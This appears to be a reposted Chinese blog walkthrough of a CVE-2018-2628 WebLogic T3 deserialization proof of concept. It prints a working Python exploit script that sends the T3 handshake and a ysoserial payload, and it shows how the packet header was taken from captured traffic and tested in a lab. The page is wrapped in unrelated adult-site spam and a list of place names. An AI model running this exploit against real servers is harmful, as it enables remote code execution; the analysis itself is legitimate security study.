中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何從CVE-2018-2628 POC看T3反序列化

發布時間:2021-12-22 23:40:11 來源:億速云 閱讀:131 作者:柒染 欄目:網絡管理

如何從CVE-2018-2628 POC看T3反序列化,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。

0x00 POC與T3握手信息

首先貼出一個大佬的POC:

https://blog.csdn.net/he_and/article/details/97924679

import binascii
import socket
import time
def t3():
    hello = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
    host = ('127.0.0.1', 7001)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(15)
    sock.connect(host)
    sock.send(hello.encode('utf-8'))
    time.sleep(1)
    resp1 = sock.recv(1024)
    print(resp1)
    data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
    with open('poc', 'rb') as f:
        a = binascii.b2a_hex(f.read()).decode('utf-8')
        print(a)
    data = data1 + a
    data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
    sock.send(binascii.a2b_hex(data))
    time.sleep(2)
    sock.send(binascii.a2b_hex(data))
if __name__ == "__main__":
    t3()

這個POC的第一步,向weblogic的發送t3的握手信息,t3接收到信息之后,回復該握手信息。

那么先嘗試第一步:

如何從CVE-2018-2628 POC看T3反序列化

如何從CVE-2018-2628 POC看T3反序列化

0x01 T3數據頭提取

著看第二步的構造:

當我將data1中的16進制解碼時發現是亂碼,接著我去看了另一個大佬的文章:

https://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/。

然后去靶機上將/Oracle/Middleware/user_projects/domains/base_domain/bin/stopWebLogic.sh,進行修改,在這個腳本對另一個weblogic主機發送stop的請求的時候,會會發送T3的序列化數據,之后使用wireshark抓取該數據。

如何從CVE-2018-2628 POC看T3反序列化

追蹤兩個IP之間TCP流,并將其進行Hex

如何從CVE-2018-2628 POC看T3反序列化

熟悉反序列化流量特征的人都知道每一段序列化的數據都是以ac ed 00 05開頭,那就先在流量當中找到第一段序列化數據出現的位置。

如何從CVE-2018-2628 POC看T3反序列化

這里拋出一個T3數據流結構的概念:

上面的流量是有很多段的反序列數據構成的,weblogic后端會對其進行分段解析

那么根據大佬們提供的說明POC的構造方式1:

替換aced開頭的后面幾個序列化數據中的任意一個

如何從CVE-2018-2628 POC看T3反序列化

POC構造方式2

直接將包含數據包長度的第一部分和惡意序列化數據進行拼接(也就是用一個惡意序列化數據替換掉常規包中所有aced開頭的序列化數據)

如何從CVE-2018-2628 POC看T3反序列化

為了避免麻煩,直接采用第二種方式

這里先把第一段的非Java序列化數據給截取下來,最后整理得到的數據是這樣的

如何從CVE-2018-2628 POC看T3反序列化

0x02 T3數據構造

此時回頭再看一眼POC的后半段代碼:

data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
    with open('poc', 'rb') as f:
        a = binascii.b2a_hex(f.read()).decode('utf-8')
        print(a)
    data = data1 + a
    data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
    sock.send(binascii.a2b_hex(data))
    time.sleep(2)
    sock.send(binascii.a2b_hex(data))
if __name__ == "__main__":
    t3()

在這里直接使用ysoserial.jar生成一段新建文件的poc

如何從CVE-2018-2628 POC看T3反序列化

a = binascii.b2a_hex(f.read()).decode('utf-8')

將其轉化為16進制的字符串表示

data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)

這里對其字符串的字節長度進行求值,左補0方式求出本次發送數據包的長度(8位16進制),并將其作為作為數據包的開頭。

那么上面整理的TXT就出現了一些問題,出在了前四個字節上面,因為事前我們并不知道我們的字節有多少,需要重新進行計算。

如何從CVE-2018-2628 POC看T3反序列化

所以箭頭所指的地方是需要重新計算得到值的。

將構造好的POC代碼對靶機進行一次攻擊:

如何從CVE-2018-2628 POC看T3反序列化

查看是否新建了文件:

如何從CVE-2018-2628 POC看T3反序列化

到這里POC就已經分析完了。

看完上述內容,你們掌握如何從CVE-2018-2628 POC看T3反序列化的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

岳普湖县| 建阳市| 姜堰市| 英德市| 柏乡县| 绥棱县| 鞍山市| 右玉县| 金秀| 望谟县| 剑河县| 濮阳市| 景德镇市| 宁城县| 宜君县| 南平市| 陇西县| 桐庐县| 云浮市| 哈巴河县| 齐齐哈尔市| 泸水县| 武安市| 乐业县| 三亚市| 舞钢市| 桃源县| 万盛区| 呈贡县| 静宁县| 高台县| 商南县| 合作市| 开江县| 长垣县| 南漳县| 余姚市| 巴林右旗| 迁安市| 巧家县| 全南县|